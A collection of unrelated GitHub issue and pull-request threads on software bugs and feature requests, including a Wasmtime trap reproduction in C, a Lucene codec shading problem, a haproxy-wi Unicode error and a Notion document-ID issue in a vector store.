I think updates to the ping feature and the ability to customize the interval/ip per tunnel should close this one out. If there are any issues we can reopen. Thanks!


UD2 is executed and Valgrind emits warnings when a function called from the C API traps

Test Case
trap.c:
#include <wasm.h>
#include <wasmtime.h>

int main(void) {
    wasm_engine_t* engine = wasm_engine_new();
    wasm_store_t* store = wasm_store_new(engine);

    wasm_byte_vec_t binary;
    const char* wat = "(module (func (export \"trap\") (unreachable)))";
    wasmtime_wat2wasm(wat, strlen(wat), &binary);
    wasm_module_t* module = wasm_module_new(store, &binary);

    wasm_byte_vec_delete(&binary);

    wasm_extern_vec_t imports = WASM_EMPTY_VEC;
    wasm_instance_t* instance = wasm_instance_new(store, module, &imports, NULL);

    wasm_extern_vec_t exports;
    wasm_instance_exports(instance, &exports);

    const wasm_func_t* func = wasm_extern_as_func(exports.data[0]);

    const wasm_val_vec_t args = WASM_EMPTY_VEC;
    wasm_val_vec_t results = WASM_EMPTY_VEC;
    wasm_trap_t* trap = wasm_func_call(func, &args, &results);
    wasm_trap_delete(trap);

    wasm_extern_vec_delete(&exports);
    wasm_module_delete(module);
    wasm_instance_delete(instance);
    wasm_store_delete(store);
    wasm_engine_delete(engine);

    return 0;
}

Steps to Reproduce

Compile program: gcc trap.c -lwasmtime -o trap
Execute program using LLDB: lldb ./trap
Execute program using Valgrind: valgrind ./trap

Expected Results
The UD2 instruction should not be executed and no warnings should be emitted by Valgrind.
Actual Results
The UD2 instruction is executed as shown by LLDB:
$ lldb ./trap
(lldb) target create "./trap"
Current executable set to '/home/jfb/projects/wasm/trap' (x86_64).
(lldb) r
Process 301185 launched: '/home/jfb/projects/wasm/trap' (x86_64)
Process 301185 stopped
* thread #1, name = 'trap', stop reason = signal SIGILL: illegal instruction operand
    frame #0: 0x00007ffff7fb7004
->  0x7ffff7fb7004: ud2
    0x7ffff7fb7006: pushq  %rbp
    0x7ffff7fb7007: movq   %rsp, %rbp
    0x7ffff7fb700a: callq  *%rdx
(lldb) c
Process 301185 resuming
Process 301185 exited with status = 0 (0x00000000)
(lldb) exit

Valgrind emits a warning about the client switching stacks:
$ valgrind ./trap
==302700== Memcheck, a memory error detector
==302700== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==302700== Using Valgrind-3.17.0 and LibVEX; rerun with -h for copyright info
==302700== Command: ./trap
==302700==
==302700== valgrind: Unrecognised instruction at address 0x4850004.
==302700==    at 0x4850004: ???
==302700==    by 0x485000B: ???
==302700==    by 0x4E2548F: wasmtime_setjmp (in /usr/lib/libwasmtime.so)
==302700==    by 0x4980838: wasmtime_runtime::traphandlers::catch_traps (in /usr/lib/libwasmtime.so)
==302700==    by 0x496DE16: wasmtime::func::Func::call (in /usr/lib/libwasmtime.so)
==302700==    by 0x4A22DE3: wasm_func_call (in /usr/lib/libwasmtime.so)
==302700==    by 0x10935D: main (in /home/jfb/projects/wasm/trap)
==302700== Your program just tried to execute an instruction that Valgrind
==302700== did not recognise.  There are two possible reasons for this.
==302700== 1. Your program has a bug and erroneously jumped to a non-code
==302700==    location.  If you are running Memcheck and you just saw a
==302700==    warning about a bad jump, it's probably your program's fault.
==302700== 2. The instruction is legitimate but Valgrind doesn't handle it,
==302700==    i.e. it's Valgrind's fault.  If you think this is the case or
==302700==    you are not sure, please let us know and we'll try to fix it.
==302700== Either way, Valgrind will now raise a SIGILL signal which will
==302700== probably kill your program.
==302700== Warning: client switching stacks?  SP change: 0x5aaa068 --> 0x1ffefffd00
==302700==          to suppress, use: --max-stackframe=137327107224 or greater
==302700==
==302700== HEAP SUMMARY:
==302700==     in use at exit: 920 bytes in 7 blocks
==302700==   total heap usage: 659 allocs, 652 frees, 152,738 bytes allocated
==302700==
==302700== LEAK SUMMARY:
==302700==    definitely lost: 0 bytes in 0 blocks
==302700==    indirectly lost: 0 bytes in 0 blocks
==302700==      possibly lost: 0 bytes in 0 blocks
==302700==    still reachable: 920 bytes in 7 blocks
==302700==         suppressed: 0 bytes in 0 blocks
==302700== Rerun with --leak-check=full to see details of leaked memory
==302700==
==302700== For lists of detected and suppressed errors, rerun with: -s
==302700== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)

Versions and Environment
Wasmtime version or commit: Commit c71ad9490
Operating system: Arch Linux
Architecture: x86_64

Hi @Encrylize,
The undefined instruction (ud2 on x86-64) is how wasmtime transfers control to its trap handlers; executing this instruction is the intended behavior when a trap occurs.
Normally, wasmtime will install a signal handler for SIGILL (or the equivalent mechanism with Mach ports on macOS or Win32 APIs on Windows), catch the signal, and longjmp back to the top-level entry point, at which point it can return the trap error-code to the caller.
However, if you are running under a debugger or under Valgrind, it's possible that this tool will catch the signal before wasmtime does. There is nothing that we can really do about this, as far as I know: the tools have complete control over inspecting the process (gdb/lldb via the ptrace() syscall, Valgrind because it actually emulates execution with a JIT layer), and have full visibility of signals.
I know that at least Valgrind has the concept of "suppressions", and gdb allows setting the default action for a signal (such as SIGILL) to "ignore"; perhaps one of these mechanisms would help in your case?
In any case, using signals to catch traps is standard practice for JIT engines and other runtimes, and is a fully correct and supported use of the signal-handler mechanism, so this is not a bug that we can resolve, I think. Thank you for filing the report regardless!


Implement resilient message handling for Twitch WSS events

Background
We have pretty rudimentary examples of how to connect, reconnect, etc. to the Twitch PubSub API. The problem is just that - they are rudimentary and simple. They are not resilient.
Things that we have to account for:

[ ] Properly handling reconnects - reconnecting in the demo just creates a new WebSocket connection and keeps this one open
[ ] Handling OAuth refresh*

[*]This is scary in particular. If we look at how the lambda code handles queueing Spotify songs, it depends on throwing an error after writing the new token to dynamo. This is not something we can really do with the Twitch integration, because this is happening in real-time, and there's no queue to put it back into. We need to make the connection then and there.

#56 covers the first point. Will deal with the second point when we get to it.


Initial work to get ks/table metadata serializable

An initial idea for what might be involved with making keyspace + table metadata serializable (in order to support SPARKC-577).  I tried to use the same mechanism used with JAVA-1858, specifically applying this to a few impl classes that weren't covered in the earlier PR + the keyspace/table classes themselves.
I also added a basic test to vet the functionality against an artificially populated C* instance.  That test should properly be an IT but t'was implemented as a unit test for now running against a manually configured local instance.  To make the Travis builds happy I'll need to change that.
In a prior conversation @adutra had mentioned filing a JAVA ticket for the driver side of this work and then leveraging that effort in whatever changes are made for SPARKC-577.  I couldn't recall the outcome of that conversation so I haven't taken that course yet... thought it more useful to get this up for people to look at.  @adutra please let me know if we want to pursue that course and I'll file the ticket.

@adutra please let me know if we want to pursue that course and I'll file the ticket.

Please file a ticket. Thanks!

Closing, moving this work to a PR for the driver-side ticket (https://github.com/datastax/java-driver/pull/1433).  @tomekl007 re: the test... I had a comment above saying what's in place at the moment is a temporary thing to validate the work done so far.  I plan to convert that to an IT which would be responsible for populating the necessary data as part of the test.

We did you have to close this PR and open another one?

@adutra This PR was using a branch name based on SPARKC-577... I wanted to get something more explicitly tied to JAVA-2741.  Wasn't a big deal but I thought it would be cleaner.


Drifting heading with constant pitch/roll (last stable release)

Dear,
I noticed the heading is drifting when we apply a "constant" pitch to the Pixhawk.
To reproduce :

Open qGroundControl
Connect the Pixhawk
Go to the "fly" section
Rotate the pitch or the roll of the Pixhawk, keep it, and you will see the heading drifting.

This does not really exist if your board is calibrated correctly and its sensors are working. We're flying all sorts of boards and none has these issues. Please contact your manufacturer for assistance.

Hi,
Thanks for your comment, I recalibrated the Pixhawk and the problem goes away.


Fix BEAM-359

Be sure to do all of the following to help us incorporate your contribution
quickly and easily:

[*] Make sure the PR title is formatted like:
[BEAM-<Jira issue #>] Description of pull request
[*] Make sure tests pass via mvn clean verify. (Even better, enable
Travis-CI on your fork and ensure the whole test matrix passes).
[*] Replace <Jira issue #> in the title with the actual Jira issue
number, if there is one.
[*] If this contribution is large, please file an Apache
Individual Contributor License Agreement.

Rather than throwing an exception when checking determinism of an erased
generic, record that as a non-determistic class and proceed.

R: @kennknowles

Changes LGTM. Commit message should be of the form <subject>\n\n<body>. Perhaps something like:
Throw NondeterministicException in AvroCoder when type lost to erasure

Previously, the loss of the type information resulted in an IllegalArgumentException
that left a user no recourse. Now, the coder can be used but it will
not be a deterministic coder.

But since you are the author, perhaps you can write what you feel is appropriate prior to self-merge.


New kyma installation

Changes proposed in this pull request:

New installation process for provisioner component based on parallel installation

/test pre-control-plane-components-provisioner

/test pre-control-plane-components-provisioner

/test pre-control-plane-components-provisioner

Deprecated.


feature: link preview

Hey, if you want I can create the feature about preview.
Do you have details about how you want to show it?

@RaphaelMardine Thanks for your interest in the link preview feature. I'm thinking of using a service like Iframely to generate rich link previews, but I'm open to other approaches. The goal is to display metadata (title, description, image) for various link types in a card format, similar to the examples I shared. If you have alternative solutions, I'd be interested to hear your thoughts.


"NDIS 6.0 and later and later and later versions"

Seems like some global substitution gone wrong. :)

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: b322dc25-6801-f71f-e2a1-952545db3c09
Version Independent ID: bfd7c6d3-ef58-9e93-e9f8-f55cb08a02bd
Content: OID_GEN_PHYSICAL_MEDIUM - Windows drivers
Content Source: windows-driver-docs-pr/network/oid-gen-physical-medium.md
Product: windows-hardware
Technology: windows-devices
GitHub Login: @billlattimer
Microsoft Alias: billla

@elieux thanks for the catch on this; I've corrected.


Add DelayOption

Adds an option to artificially delay checking/fulfilling a rule.
In order to prevent other rules from being affected by the delay option triggerFulfilledRules now uses TaskGroup to check determine if the rules should trigger.
This required to make Rule conform to Sendable

I lacked time to properly review this week, but I'll have a look on it soon :)


SESSIONNAME not set during RDP operations

Windows Terminal version
No response
Windows build number
No response
Other Software
No response
Steps to reproduce
RDP to computer, and start windows terminal old and new. new one
C:\Users\sds>echo %SESSIONNAME%
%SESSIONNAME%
Expected Behavior
SESSIONNAME should be consistent across all terminals
Actual Behavior
SESSIONNAME  not set in windows terminal in RDP sessions

Thanks for the report! This is a /duplicate of #14711, and while SESSIONNAME is not intended to be reliably present, we believe that the work done in #12516 and #14999 will fix it when they are released in 1.18.


Cleanup and update

Update packages and clean up code to anticipate the introduction of a new document scanning tool

Did you really mean to merge this into main???

Oeps


Putting an activated stun baton in a security belt makes you invisible.

Description

This bug was originally reported by Old Dance Jacket#1112 on Discord. I have reproduced it on live as of 05/01/22 at 7:30 PM EST.
How to replicate:

Spawn (or obtain) a security belt.
Take out the stun baton.
Turn the stun baton on.
Put the stun baton back on the belt.
You will now be invisible until you move or are pulled out of position.

Screenshots

Additional context

So that’s what happened

probably something to do with trying to add mapped layers that dont exist ?? and then it blows up?

Worth noting about this bug is if you quick move it to the belt (SHIFT E), you do it normally, but if you MANUALLY click on the belt  to but the live baton away it makes the baton swing icon on yourself and you go invisible.
It's difficult to tell when this behavior came up because of this, as I almost always SHIFT E, but suddenly stumbled across this when failing to put the baton into my belt

This is the intended behavior, and on the other servers this IS what happens as demonstrated here.
However on the main...

Documented here is the new behavior where, if a bag is full, instead of giving you a "cannot insert" message and keeping the item in your hands, it drops to your feet instead. This is why I assumed this behavior was linked to the belt being full originally, but it seems as though it's not the case and is just a manual input with the baton on the belt. Again this is recent behavior and seems linked to whatever changed to have items drop at your feet when belt/bag is full.

It's difficult to tell when this behavior came up because of this, as I almost always SHIFT E, but suddenly stumbled across this when failing to put the baton into my belt

Probably happened because of storage container ECS , though that's such an insane deviation from other storage related bugs.

Fixed.


Suggestion: include option to install TaskerSettings

Would be useful if this app automated download of latest version of TaskerSettings apk, then perform install (using adb install --bypass-low-target-sdk-block if necessary for Android 14+).

Added, thanks! Are you maybe able to test this from code? Or do you need the build?

Thanks - not going to be able to test today; to be able to test from code what would I need (on Windows) - Node installed?
Any chance you could also take a look at issue 32 too, hopefully also not to difficult to add (but would make life simpler for ADB over Wifi)?


Action Chains in Remote Webdriver

Currently when trying to use action chains (e.g. mouse actions) with remote webdriver, I get an error that it is not supported (e.g. Firefox). I have verified if I use Selenium API directly with remote webdriver for action chains the mouse actions work.
We should look into getting this resolved.
Referencing discussion here https://github.com/cobrateam/splinter/issues/597#issuecomment-377111031

@andrewsmedina I believe this issue has been fixed in 0.12.0


cursorpos is not being parsed correctly

Hi- thanks for this awesome project.
I am using the sublime text addon which works fine with wakatime, but when making the same request to hakatime I get the following error:
Error in $[0].cursorpos: parsing Int64 failed, expected Number, but encountered String

The request is made in sublime using the wakatime python client and looks something like this:
python3 /home/user/config/.config/sublime-text-3/Packages/WakaTime/packages/wakatime/cli.py --entity /home/user/.config/sublime-text-3/Packages/WakaTime/packages/wakatime/__init__.py --time<PHONE_NUMBER>.829188 --plugin "sublime/3211 sublime-wakatime/9.1.2" --key my-api-key --alternate-project WakaTime --cursorpos 97 --verbose --extra-heartbeats

The the log on hakatime says:

<IP_ADDRESS> - - [29/Sep/2020:06:44:48 +0000] "POST /api/v1/users/current/heartbeats.bulk HTTP/1.1" 400 - "" "wakatime/13.0.7 (Linux-5.7.19-2-MANJARO-x86_64-with-arch-Manjaro-Linux) Python3.7.3.final.0 sublime/3211 sublime-wakatime/9.1.2"

And the log in from the wakatime client says:
{"now": "2020/09/29 07:44:48 +0100", "version": "13.0.7", "plugin": "sublime/3211 sublime-wakatime/9.1.2", "time":<PHONE_NUMBER>.679305, "caller": "/home/user/config/.config/sublime-text-3/Packages/WakaTime/packages/wakatime/api.py", "lineno": 324, "file": "/home/user/config/.config/sublime-text-3/Packages/WakaTime/packages/wakatime/arguments.py", "level": "ERROR", "message": "{'response_code': 400, 'response_content': 'Error in $[0].cursorpos: parsing Int64 failed, expected Number, but encountered String'}"

Thanks for the bug report. It seems like an inconsistency on the type.
I've only been using the vim plugin which doesn't send the cursorpos and never stumbled upon it

Thanks @mujx- working perfectly now


Edit view still shows after rescuing from Pundit::NotAuthorizedError and redirecting

I posted the full details here on StackOverflow
Also my Gemfile for reference:
source "https://rubygems.org"

ruby '2.2.2'

# Application Logic

gem 'rails', '4.2.1'
gem 'pg' # Use postgresql as the database for Active Record
gem 'spring', group: [:development, :test] # Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring
gem 'responders', '~> 2.1.0'
gem 'devise', '~> 3.5.1'
gem 'omniauth-github', '~> 1.1.2'
gem 'acts-as-taggable-on', '~> 3.5'
gem 'pundit', '~> 1.0.1'

# Front-end

gem 'coffee-rails', '~> 4.1.0'
gem 'sass-rails', '~> 5.0'
gem 'compass-rails', '~> 2.0.4'
gem 'uglifier', '~> 2.7.1'
gem 'slim-rails', '~> 3.0.1'
gem 'turbolinks', '~> 2.5.3'
gem 'foundation-rails', '~> 5.5.2'

gem 'jquery-rails'
gem 'jbuilder', '~> 2.0'
gem 'sdoc', '~> 0.4.0', group: :doc

There isn't enough information here to really answer your question.


RemoveChild() for AttributeNode

Thank you, @lestrrat, for such a useful package!
I was wondering if there is a technical reason that the RemoveChild() function returns immediately when an AttributeNode is detected:
https://github.com/lestrrat-go/libxml2/blob/e6d9de61b80d0c4c527d9a014dfdf9744d706232/clib/clib.go#L1176-L1179
If not, I may work on a PR to add this functionality as I have a use case that would benefit from this feature, (and it would be a great learning opportunity 😃).
Thank you again!

I honestly don't remember why off the top of my head, but I'd venture to guess that attributes/namespaces are  stored as linked lists off of an element node, and therefore do not work with RemoveChild semantics

Thank you for your quick reply, @lestrrat!
I will poke around to see if I can work up an implementation, tests, and PR.
Cheers!

I was able to solve this using Element.RemoveAttribute().
Apologies for the noise.


feat: migrate sso user, serviceaccount mapping annotations

Closes: https://github.com/akuity/kargo/issues/2529

Note: This must not be merged into main. It must be merged into the release-0.9 branch, which does not exist yet, so main is a placeholder for now, I've applied the "do not merge yet" label, and once release-0.9 exists, we can update this PR to use that branch as the base.

This looks good. Let's try to get some unit tests added and it will be g2g

@fykaa this is in great shape. There are only a few very tiny things left to address. Solid work.


Help getting started on development

Hi,
I'm interested in contributing to this project. I just got a Sparkfun EOS S3 Thing Plus, and would love to get some Rust code running on it. I have a decent amount of experience with Embedded Rust, but only on well-supported chips (RP2040, nRF528xx), and have never explored the process of creating a PAC or HAL from scratch. I understand the principle of mapping out the chip's registers in an SVD file and using the automated tools to convert to Rust structs, but have never actually performed the process.
Is this still a project that you are interested in pursuing? Are there any reasons that this might not be worth pursuing? With a little bit of guidance I would be happy to fork this repo and start trying to make some contributions. :)
Thanks!

Hello!
So quick answer to the last questions, yes, I'm still interested in working on this project, the reason why I've been unable to work on this is that my life changed quite a lot in the lasts months and free time has been scarce. That changes in about 2 weeks.
Is it worth pursuing working on this? I think it depends. I find it entertaining, but the EOS-S3 doesn't have a big user base. Perhaps the most interesting part is what follows after the hal/bsp, which is the tooling part. Having a comfy workflow with Rust+F4FPGA is one of the side-quests for this project. In didactic terms, imho is totally worth it. Touching SDK code is not only fun but also teaches you quite a lot.
About the status of the project, the SVD/PAC is basically done, but it can be improved with better documentation. It also needs to be regenerated from time to time if we want to be using the latest svd2rust features.
The HAL hasn't received any love yet. This includes the implementation of the bitstream loading functionality. I want to follow a similar style to whats done in atsamd-rs, specially in regards to type system usage.
We can further talk about this via twitter/telegram to coordinate. My handle for both is the same as the one for github.

I saw your YouTube Video about debugging rust on eos-s3.  There are no debug tools for EOS-S3, so how did you do this?  J-Link? ST-Link? BlackMagic?  I have a blog at socmaker dot com,  and am interested in following through on getting a debug environment cheaply for this device.
Thanks!

Hi @wmaxfield , I used a Xiao M0 I got for $4 and loaded the DAP-Link firmware on it. https://wiki.seeedstudio.com/Seeeduino-XIAO-DAPLink/
Pinout here:

I think that's the cheapest way to get debugging working on the EOS-S3. Other probes supported by OpenOCD should work, but they are a bit pricier. I could try using a bootleg stlinkv2 to see if it works but I It would take me some time as a friend of mine has it in their house

That sounds good.  In USA, from Amazon, the sam21d XIAO  is $10, so is still a good price.
OpenOCD requires a .cfg file.  Did you create one for the EOS S3?  If so, would you mind showing it?
Also, I would like to see the launch.json file you have for this.  I am very new to all of this and my brain is overloaded.
I am debugging on the Macintosh, and currently using PSOC5 KitProg debugger stub. I wrote how to set it up on my blog.
What did you use to go from the large 0.1" (2.54mm) pin connector to the 1.27mm connector for the EOS-S3?
I will be getting a clone STLink V2 later, and will report on using it on socmaker blog.

Fortunately, QuickLogic was able to upstream their .cfg in mainline OpenOCD: https://github.com/openocd-org/openocd/blob/master/tcl/target/eos_s3.cfg

For connecting to the small pins, I just decided to cut female jumpers by half. Because these usually have stranded wire, by just pushing the side with the cut on the pins you are able to make contact. That's a dirty hack, but works. The alternative is to get the cable and some adapter breakout board like these ones:

https://www.digikey.com/en/products/detail/adafruit-industries-llc/1675/6827142?s=N4IgTCBcDaIAQEYCsYAcBaMAGLBOdAcgCIgC6AvkA
https://www.digikey.com/en/products/detail/adafruit-industries-llc/2743/5699184?s=N4IgTCBcDaIIwFYwA4C0cAsYCcqByAIiALoC%2BQA
The cable is out of stock but other vendor might have it available.

About the VSCode setup, I used this as a guide: https://dev.to/rubberduck/debugging-rust-arm-cortexm-programs-with-visual-studio-code-336h
I kind of forgot the adjustments I had to make apart from changing the .svd file, basically just related to some configs being deprecated and so on, but Cortex-M debug had warning messages for that so I think you-ll just have to check the log to know what to update.
BTW I also got the Xiao M0 from Digikey.
Let me know If I can help you with anything else. I might be able to play around with my setup on the weekend, but work got me pinned down until then


SPI with name Lucene50 does not exist

Won't run :

An SPI class of type org.apache.lucene.codecs.PostingsFormat with name 'Lucene50' does not exist.  You need to add the corresponding JAR file supporting this SPI to your classpath.  The current classpath supports the following names [es090, completion090, XBloomFilter]

config type: misc.direction: em

Do you have it after trying the latest one of mongolastic? Which elasticsearch version do you have?

Have ElasticSearch 2.3.1 and used the latest version available at the time
of the issue
On 17 Jun 2016 11:11 am, "Hakan Özler"<EMAIL_ADDRESS>wrote:

Do you have it after trying the latest one of mongolastic? Which
elasticsearch version do you have?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ozlerhakan/mongolastic/issues/12#issuecomment-226707989,
or mute the thread
https://github.com/notifications/unsubscribe/ALCagGG5Y541oZ0cBBnPfyldoEdR6pzhks5qMlaXgaJpZM4I19GA
.

Sorry it was elastic 2.3.3
On 17 Jun 2016 11:20 am, "Stefan Rogin"<EMAIL_ADDRESS>wrote:

Have ElasticSearch 2.3.1 and used the latest version available at the
time of the issue
On 17 Jun 2016 11:11 am, "Hakan Özler"<EMAIL_ADDRESS>wrote:

Do you have it after trying the latest one of mongolastic? Which
elasticsearch version do you have?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

Could you please try this option.
Just add these lines  into maven-shade-plugin plugin of the pom.xml and run mvn clean install -DskipTests, and rerun your config file with the newly created mongolastic.jar.
 <configuration>
  <transformers>
     <transformer implementation="org.apache.maven.plugins.shade.resource.PluginXmlResourceTransformer"/>
     <transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
       <mainClass>com.kodcu.main.Mongolastic</mainClass>
    </transformer>
  </transformers>
 </configuration>

did you try @srdealx ?

Sry Hakan didn't get the tim to do it yet.
On 19 Jun 2016 2:47 am, "Hakan Özler"<EMAIL_ADDRESS>wrote:

did you try @srdealx ?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

1.3.7 should fix this issue @srdealx

@ozlerhakan
You may need to add <transformer implementation="org.apache.maven.plugins.shade.resource.ServicesResourceTransformer"/>
The Lucene codecs are in META-INF/services, and if you look at the Maven Shade docs:

JAR files providing implementations of some interfaces often ship with a META-INF/services/ directory that maps interfaces to their implementation classes for lookup by the service locator. To relocate the class names of these implementation classes, and to To merge multiple implementations of the same interface into one service entry, the ServicesResourceTransformer can be used

This allows it to combine the codecs from conflicting JARs instead of clobbering them.

Hi @jmmk ,
Thank you for informing me about it. I can probably add this option for the next release but I don't remember whether I encountered such an error before ES 2.3.1, there are possibly slightly differences between two versions.


'ascii' codec can't encode character

Hello,
I have found a bug. If I enter utf-8 chars in password for user I cant access "Admin area->Servers" (site is blank).
I then changed my password in db back to "admin" and everything is ok (btw: please implement password-hash :) ).
Error:
: 'ascii' codec can't encode character '\xa7' in position 7514: ordinal not in range(128): /var/www/haproxy-wi/app/servers.py, r
Password: vg§RWd>GS%G>Axn1uMRI

Try decode admin page to utf-8

please implement password-hash
I have been going for a long time, but my hands do not reach

Пятница,  2 ноября 2018, 14:06 +06:00 от Clero92<EMAIL_ADDRESS>Hello,
I have found a bug. If I enter utf-8 chars in password for user I cant access "Admin area->Servers" (site is blank).
I then changed my password in db back to "admin" and everything is ok (btw: please implement password-hash :) ).
Error:
: 'ascii' codec can't encode character '\xa7' in position 7514: ordinal not in range(128): /var/www/haproxy-wi/app/servers.py, r
Password: vg§RWd>GS%G>Axn1uMRI
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly,  view it on GitHub , or  mute the thread .

--
Павел.

I think I fixed it, update and try

no sry, changed Password to "ü" - same error
[Fri Nov 02 10:20:05.911625 2018] [cgi:error] [pid 23601:tid<PHONE_NUMBER>28800] [client <IP_ADDRESS>:6230] AH01215: Traceback (most recent call last):: /var/www/haproxy-wi/app/users.py, referer: https://snsrvhapwi1t.helios-dom.helios-kliniken.de/app/overview.py
[Fri Nov 02 10:20:05.911707 2018] [cgi:error] [pid 23601:tid<PHONE_NUMBER>28800] [client <IP_ADDRESS>:6230] AH01215: File "/var/www/haproxy-wi/app/users.py", line 39, in : /var/www/haproxy-wi/app/users.py, referer: https://snsrvhapwi1t.helios-dom.helios-kliniken.de/app/overview.py
[Fri Nov 02 10:20:05.911731 2018] [cgi:error] [pid 23601:tid<PHONE_NUMBER>28800] [client <IP_ADDRESS>:6230] AH01215: print(output_from_parsed_template): /var/www/haproxy-wi/app/users.py, referer: https://snsrvhapwi1t.helios-dom.helios-kliniken.de/app/overview.py
[Fri Nov 02 10:20:05.911782 2018] [cgi:error] [pid 23601:tid<PHONE_NUMBER>28800] [client <IP_ADDRESS>:6230] AH01215: UnicodeEncodeError: 'ascii' codec can't encode character '\xfc' in position 7343: ordinal not in range(128): /var/www/haproxy-wi/app/users.py, referer: https://snsrvhapwi1t.helios-dom.helios-kliniken.de/app/overview.py

strange behavior if i do:
output_from_parsed_template = template.render(title = "Admin area: users manage",
												role = sql.get_user_role_by_uuid(user_id.value),
												user = user,
												users = users,
												groups = sql.select_groups(),
												servers = sql.select_servers(full=1),
												roles = sql.select_roles(),
												masters = sql.select_servers(get_master_servers=1),
												sshs = sql.select_ssh(),
												telegrams = sql.select_telegram(),
												token = token).encode('utf-8')

many characters appear like: '\t\t\n\n\n\n\n'

Hi! I have fixed the bug, you can check ))))


Cannot run . operator

Here is an example
const a = {}
a.b = 1
console.log(a.b)

Expected:
1

Actual:
undefined

And more, Why you throw an error when setting a global variable?
https://github.com/jrainlau/canjs/blob/master/src/scope.js#L44

Thanks for your feedback!
It's acutually a bug and I've fixed it, you can reference it here:

The second question is "Why you throw an error when setting a global variable?"
In this interpreter, a variable is not a simple value but a SimpleValue() instance object. This instance provides a set() method for changing its value, it means that you can't set a value to a nonexistent object, and expression like a = 1 is illegal but var a = 1.


Use "Untitled" instead of "No title available"

[x] joeferner
[x] mwizeman joeybrk372 jharwig sfeng88

Points of Regression: untitled vertices

Still seeing No Title Available when creating new entities


Share HPs ahead of time

SWG Notes:
There is a request to publish HPs ahead of submission, especially for large scales.
AI(Google) - come back with thoughts on this.

Copied this to:
https://github.com/mlperf/training_policies/issues/282


feat(minifier): add Normalize ast pass

Merge activity

Dec 26, 2:02 AM EST: The merge label '0-merge' was detected. This PR will be added to the Graphite merge queue once it meets the requirements.


[Bug]: Updating/Refreshing documents not working correctly with supabase Vector Store

Bug Description
When I retrieve documents from Notion pages via page ids,
documents = reader.load_data(page_ids=page_ids)
each document gets a new unique id each time,
# TODO: A lot of backwards compatibility logic here, clean up
id_: str = Field(
    default_factory=lambda: str(uuid.uuid4()),
    description="Unique ID of the node.",
    alias="doc_id",
)

but there is also a page id stored in the meta field. These documents are stored in a vector store (in my case Supabase) including the meta data.
docs.append(Document(text=page_text, extra_info={"page_id": page_id}))
Now when I get the same pages from Notion again on the next call, each document is stored with unique ids again.
So I can't really update my Notion pages, but instead they are always reinserted into the vectorstore.

It would be enough for me if I could pass the page id as document id instead when creating the documents (I use a customized NotionPageReader) or if I could update a specific document via the meta field instead of the document id.
Version
0.7.0
Steps to Reproduce

Load a page from NotionPageReader
Process the page to a document and store it into vector database
Repeat it

Relevant Logs/Tracbacks
No response

Thanks for surfacing this @Daniel199438!
We should definitely improve this to make it more intuitive (I'd also expect the documents to be identified to be the same if they have the same page ID).
I wonder if a good solution here is just to have our default NotionPageReader set the doc id to page_id.
cc @logan-markewich  do you see any concerns with this?

@Disiok Thank you for your reply.
I kept working on this issue and had instead searched for existing documents in the vector store by their respective page id in the metadata but yes, that could be a much simpler solution.
But another issue I currently have is that I would like to use the refresh_documents method, which updates (deletes and re-adds if the document hash is different) existing documents and adds new ones.
My problem is that the hash is not saved of the documents from the vectorstore. I've seen in the docs that there is the possibility to keep a document store with Redis or MongoDB, but does it make sense to have a document store next to a vector database?
Couldn't you also store the hash as a metadata key and exclude the key for embedding and indexing?
I'm leaning towards just writing my own logic and running the insert_doc and update_doc functions myself. But if you have any tips, I would really appreciate it.
But anyway thank you for your help :)

RE not saving hash in the vector store. This is mostly because we didn't implement a get_by_id interface for the vector stores, (and some of them don't support this). You are right that it's probably easiest to just store the hash in qdrant as well (in your case).
If you are interested in helping improving the library, would love to have better support on qdrant implemented!

Hi @Disiok, yes sure, I would be happy to improve the library. I work with Supabase, but there is no "get_by_id" interface either. I'll take a closer look and try to implement one. I find the vec library a bit more complicated than e.g. the native Supabase library, but I'll have a look at the documentation and create a PR.


Algolia working with vercel

Need to get Algolia search working working with building off main and vercel.
Client side is searching correctly
need to fix github action, now that gh-pages isn't used.

done, closing


Update cargo lockfile for frozen builds

Running cargo build --frozen fails for release 0.2.0. I am trying to package 0.2.0 for nixos, but the lockfile being behind makes it so that I cannot do so. An easy fix is to update the lockfile and bump the version to (say) 0.2.1.
Steps to reproduce:
Run cargo build --frozen
Output:
error: the lock file /path/to/lsp-ai/Cargo.lock needs to be updated but --frozen was passed to prevent this
If you want to try to generate the lock file without accessing the network, remove the --frozen flag and use --offline instead.

Thanks for pointing this out! I just updated the Cargo.lock here: https://github.com/SilasMarvin/lsp-ai/pull/22
Would love to have a flake for this if that is something you would want to add!

Sure, I can make a PR when I have a flake ready.


Add table gcp_iam_user

References
Can we get the list of GCP IAM USERS in a table if it exists can we know which table to look into?

Hi @AbhinavCSY, I am closing this issue as there is no direct API to retrieve IAM user details. However, you can obtain user details using the gcp_iam_policy table. For further information, please refer to the related discussion thread in the community channel: https://turbot-community.slack.com/archives/C01UECB59A7/p1721384054791709
Please feel free to reopen this issue or create a new one if you encounter any further problems.
Thanks!

Sure, I understood the problem here.


Improve contributing UX

During the 3.0 milestone I'll be working on a number of minor improvements to the project contributor's experience to reduce friction in the process. Some of these items may get pushed to 3.1 as needed.

[ ] Add skip_install = True to pep8 test environment in Tox
[x] Create PR template with a checklist
[ ] Make communication channels (issues, chat) more visible in docs and README (move closer to top).
[ ] Add some welcoming language for new contributors that is more prominent in README and docs.
[ ] "Vendor" the angular commit style stuff
[ ] Document expectations around changelog entries
[ ] Give people a URL to use as a falcon badge contributor image?
[ ] Setting up dev environment, installing deps, pip install -e, .[dev] ?
[ ] Document use of check-manifest, perhaps add to tox and/or a precommit hook?
[ ] Add instructions for running pytest directly (on one file or many, also padding via tox), using pdb

Note that this is partially overlapping with https://github.com/falconry/falcon/issues/716


[BUG]: Within-ids has mismatching indexes

Contact Details [Optional]
No response
System Information
System: Mac OSX + Python 3.11
Branch: docs/reusable_snippets
What happened?
There is a bug for the query:
collection.find().like(r, vector_index='my-index', n=10)

Please investigate.
Steps to reproduce
No response
Relevant log output
No response

Sorry an error on my part.


Using relative imports instead of absolute

There is a lot of absolute imports and that's not necessary to do this
